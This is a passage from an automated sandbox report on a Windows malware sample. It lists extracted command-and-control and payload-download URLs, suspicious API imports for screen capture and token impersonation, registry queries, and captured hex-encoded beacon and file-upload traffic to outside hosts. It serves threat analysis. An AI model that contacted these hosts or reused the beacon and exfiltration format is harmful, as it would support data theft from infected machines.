bd:7b:35:f4:e6:3b:5d:c3:21:99:c0:5c:27:c6:b1:e5:f7:2c:e5:79:38:7e:43:9f:7a:62:2c:b0:28:6c:96:43:44:be:df:a6:f0:05:52:0f:31:8a:dd:c6:5c:12:73:ab:1a:01:11:af:5a:0e:8f:2e:91:4b:e2:8b:15:6a:7e:97:50:39:6b:44:5a:54:40:c5:0f:11:91:57:b4:ab:1c:72:ea:3f:29:7a:3d:21:42:a4:39:8d:7b:67:49:a6:4a:5b:d7:dc:f4:da:0a:c8:36:d4:d2:ac:d6:85:06:c7:ef:a2:a3:27:6c:c3:00:4d:cf:03:7a:ea:3d:07:67:59:ca:17:d2:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:2d:2d:0d:0a:0d:0a"; File: "PCAP")3e:T139c,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.phpvisited:" - Source: "00000000-00006528.00000000.285422.00CC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006528.00000000.285422.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.phpdesktop-fvvf82a192.168.0.22001:0:34f1:8072:30f7:6622:bf83:f35db+ncalrpc:[olee6ee7c3daf388414c1663b456168]t" - Source: "00000000-00006528.00000001.287341.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.php/random.exe:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\data\local\microsoft\windows\history\historyc:\users\hapubws\appdata\local\microsoft\windows\historyhistory.ie5:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\ebcache_" - Source: "00000000-00006528.00000001.287341.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.php/files/fate/random.exec:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\9sspaw46\random[1].exe%systemroot%\system32\settingsynccore.dll,-1024%systemroot%\system32\windows.storage.dll,-34584%systemroot%\system32\windows.storage.dll,-34583hell:::" - Source: "00000000-00006528.00000001.287341.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.php/index.php:\proc:\;c:\windows\system32;c:\windows\system;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00006528.00000001.287341.00CC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006528.00000001.287341.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.phpdesktop-fvvf82a192.168.0.22001:0:34f1:8072:30f7:6622:bf83:f35db+ncalrpc:[olee6ee7c3daf388414c1663b456168]t" - Source: "00000000-00006528.00000002.289264.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.php/random.exe:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\data\local\microsoft\windows\history\historyc:\users\hapubws\appdata\local\microsoft\windows\historyhistory.ie5:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\ebcache_" - Source: "00000000-00006528.00000002.289264.00CC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006528.00000002.289264.00CC0000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.php/index.php:\proc:\;c:\windows\system32;c:\windows\system;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\programs\python\python311\scripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00006528.00000002.289264.00D12000.00000004.mdmp") Found URL "http://178.16.54.200/files/rdx/random.exe.ex4http://178.16.54.200/files/rdx/random.exe/c:\usershapubwsrecorded" - Source: "00000000-00006528.00000002.289264.00D12000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phpinetzzzzconncontent-type:" - Source: "00000000-00006528.00000002.289264.00D51000.00000004.mdmp") Found URL "http://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.php4mcphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.phphttp://94.154.35.25/di9ku38f/index.php" - Source: "00000000-00006528.00000002.289264.00D51000.00000004.mdmp")3f:T8bd,Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "bounty-38813904328784694") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "bounty-38813904328784694") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "bounty-38813904328784694") Found reference to API "GetDC" (Indicator: "GetDC"; File: "bounty-38813904328784694") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp")40:T928,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "bounty-38813904328784694") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "bounty-38813904328784694") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "bounty-38813904328784694") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "bounty-38813904328784694") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "bounty-38813904328784694") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "bounty-38813904328784694") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "bounty-38813904328784694") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "bounty-38813904328784694") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "bounty-38813904328784694") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "bounty-38813904328784694") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp")41:T431,Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "bounty-38813904328784694") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "bounty-38813904328784694") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "bounty-38813904328784694") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "bounty-38813904328784694") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "bounty-38813904328784694") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "bounty-38813904328784694") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp")42:T48e,Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: bounty-38813904328784694] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: bounty-38813904328784694] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: bounty-38813904328784694] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: bounty-38813904328784694] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: bounty-38813904328784694] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: bounty-38813904328784694] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: bounty-38813904328784694]43:T70a,"bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "")44:T63c2,"POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33313A33303A33373A33313A33363A33353A33373A33303A33313A33303A33313A32623A32623A32623A36323A33353A33393A33....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "65:32:3d:31:30:37:31:36:35:37:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "64:31:3d:31:30:37:31:36:35:38:30:31:30:31:26:75:6e:69:74:3d:33:35:31:34:35:35:37:34:33:35:37:30" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /taxe HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36 Content-Length: 61 Host: commum.asia" with payload::==> "75:69:64:3d:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:26:63:69:64:3d" HTTP/1.1 200 OK Server: nginx/1.29.1 Date: Thu 11 Sep 2025 23:12:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding with response body ==>37623A32323A36353A37323A37323A36663A37323A32323A33613A37623A32323A36353A37323A37323A36663A37323A35663A36333A36663A36343A36353A32....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /taxe HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36 Content-Length: 1839 Host: commum.asia" with payload::==> "2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:69:64:22:0d:0a:0d:0a:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:70:69:64:22:0d:0a:0d:0a:31:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:77:69:64:22:0d:0a:0d:0a:38:41:43:42:37:30:41:35:30:45:35:37:46:32:34:31:45:34:38:45:31:31:43:44:35:36:34:31:36:37:38:44:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:64:61:74:61:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:58:25:aa:cd:da:be:b0:2d:57:a5:cb:6c:b1:63:39:9c:c9:3f:87:72:1a:3d:36:9d:39:b4:c1:18:be:02:59:4f:49:0a:1f:dd:d6:ae:0e:d3:dd:7c:b3:90:bb:1e:b0:39:30:6a:d3:09:12:6b:98:2b:04:f6:84:c1:66:db:3d:55:ac:c2:1f:d4:14:6a:07:30:02:4f:94:ee:c6:83:31:6a:5b:31:16:6e:e1:95:c1:d9:36:54:2c:e1:d8:6d:fc:9f:4d:36:ac:21:1b:d5:18:b3:c1:6e:54:0f:a5:ab:f4:e1:53:01:c5:97:ef:62:16:9a:d2:b7:ce:1c:91:e2:3d:03:27:de:65:e7:2b:c7:92:5c:e6:37:fd:4d:e3:6d:ca:cb:f0:dd:39:ea:20:52:38:47:bf:ff:24:bb:6c:55:c7:f9:64:05:e6:40:61:bf:b6:31:88:88:98:d8:36:ce:0d:9e:01:fe:b5:a1:63:01:a7:16:2b:58:e7:a3:25:7e:f8:57:c7:04:39:6d:59:7c:d8:03:cd:4b:28:ac:e4:67:cb:e5:26:b6:fe:be:27:f1:5a:de:8a:43:9c:37:b3:8a:ff:fa:a3:cc:2e:aa:d9:2c:90:76:7c:a4:e9:57:f2:1c:ae:b0:a4:a0:17:84:3c:99:9a:d2:3b:2f:cd:b6:ac:2d:ef:81:b1:a5:77:6f:e7:28:21:1f:9b:e6:a0:a6:80:78:30:e4:79:1e:ac:75:a8:dd:1a:e0:38:7b:8e:47:0b:1e:15:14:8e:6d:a8:e0:36:10:12:f9:c2:ec:23:5e:31:22:d7:36:2f:fb:f2:c6:24:dd:1f:28:cd:07:cd:28:f9:be:49:64:4f:42:50:a1:3c:ce:b7:05:15:aa:6c:49:69:01:b9:94:66:67:67:5c:49:4d:ce:24:ce:f4:19:4f:9d:ec:8d:1b:ae:1d:f3:86:62:69:ca:4e:90:31:c8:2a:80:8c:6f:3c:4f:a3:73:f0:ed:6d:16:d0:97:ba:60:47:83:b9:91:e5:26:31:d1:8c:d2:ee:be:45:e5:7e:0b:b4:6b:85:eb:68:77:e1:a1:af:88:a4:58:6a:0a:64:96:71:f1:20:b4:7f:7b:ea:7b:0f:f7:10:3b:ca:f6:fb:e7:d1:ab:21:6e:46:c1:b8:69:79:5e:07:e4:5a:2e:34:80:72:20:87:b8:b0:3c:b5:79:72:84:8e:02:0a:de:80:78:20:43:ec:91:24:0f:8f:e7:fb:6a:b7:d3:b8:ac:e1:bd:8a:d8:0c:89:61:ea:7d:de:1d:06:3d:1a:ff:a4:7a:de:2b:21:39:b2:28:74:63:b8:9a:73:bc:80:0e:9d:b0:6d:54:80:ab:3b:e9:6f:01:e6:83:43:ec:f3:69:4e:3f:1b:d8:ca:57:38:9c:06:04:02:09:2a:67:e4:9e:c8:41:cb:2e:e5:12:4b:8b:23:bc:ee:0e:c0:07:6c:f6:0b:00:eb:87:38:29:9a:b0:c9:9b:af:f8:22:66:1b:5d:95:c7:96:e0:72:4f:d9:dc:44:f5:69:a9:6d:9e:5a:ee:f6:8d:be:7f:f6:fb:38:60:f6:ca:8d:74:f6:63:c2:ea:11:4a:c9:5d:b3:0d:cc:6b:55:b0:fb:2d:35:df:9f:b6:07:ed:be:61:ad:d4:69:5b:dc:97:43:0a:34:3f:fc:d4:17:c6:33:5d:f5:5a:62:d8:28:b3:67:f2:f0:cb:fd:fc:d8:07:71:ad:97:42:4f:59:aa:6d:8e:84:cd:1c:ce:db:a0:14:2a:43:cb:3f:48:e9:24:80:ce:44:8a:8a:44:40:38:61:03:e8:8b:8d:8e:95:98:47:04:bf:cd:36:3b:a6:e2:7f:18:54:c7:6c:cf:68:28:cc:77:10:4f:41:a6:35:84:b0:3d:3b:97:0a:7b:27:4c:7d:98:c4:56:ce:29:48:c1:de:6a:27:48:43:a2:8b:95:ad:4f:0d:c9:d1:5f:a7:a4:b7:46:01:9a:cc:51:61:2b:13:71:66:3f:0f:8d:80:9c:ed:9f:13:23:74:75:fe:57:1f:9c:64:29:86:76:99:96:a6:8b:e4:79:92:1b:77:14:e8:2d:e1:f1:f5:e0:a7:64:9e:c0:a1:c3:a0:a1:91:e6:0f:68:b3:94:f9:22:42:b5:51:ce:75:17:5c:01:14:8e:9f:f1:2a:75:d8:5e:c5:df:39:79:90:97:01:b9:f3:01:94:0e:29:46:29:7a:65:d2:16:5f:37:30:ff:28:ff:ce:f4:bb:e5:b4:75:aa:09:c6:e2:24:5d:08:91:72:48:c2:18:45:3e:9a:5b:08:84:c3:3a:df:03:db:0e:35:88:6f:95:e4:93:04:ec:c8:58:b4:77:53:b6:88:ec:0e:a9:fa:e4:38:5f:6d:96:1a:ef:c1:45:b9:88:4e:83:f7:10:40:94:51:06:dc:3b